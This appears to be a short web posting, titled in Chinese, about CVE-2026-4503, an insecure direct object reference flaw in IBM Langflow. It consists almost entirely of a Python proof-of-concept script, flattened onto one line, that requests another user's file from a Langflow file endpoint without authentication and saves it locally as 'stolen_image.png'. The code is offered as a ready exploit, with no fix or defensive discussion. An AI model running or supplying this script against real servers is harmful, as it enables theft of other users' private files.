CVE-2026-4503 IBM Langflow IDOR漏洞导致信息泄露

import requests # Target host configuration target_host = "http://vulnerable-langflow-server:port" # The vulnerable endpoint usually involves a user-controlled key (e.g., UUID, filename, or ID) # Based on the description, the attacker controls the key to reference the object directly. vulnerable_endpoint = "/api/v1/files/image" # Example of a user-controlled key that might belong to another user # In a real scenario, an attacker might enumerate or guess these keys. malicious_key = "user_b_sensitive_image_id.png" # Construct the full URL exploit_url = f"{target_host}{vulnerable_endpoint}/{malicious_key}" try: # Send a GET request without authentication (PR:N) response = requests.get(exploit_url, timeout=10) # Check if the request was successful (Status 200 OK) if response.status_code == 200: print("[+] Exploit Successful!") print(f"[+] Retrieved data from: {exploit_url}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # Save the stolen content to a file with open("stolen_image.png", "wb") as f: f.write(response.content) print("[+] File saved as 'stolen_image.png'") else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")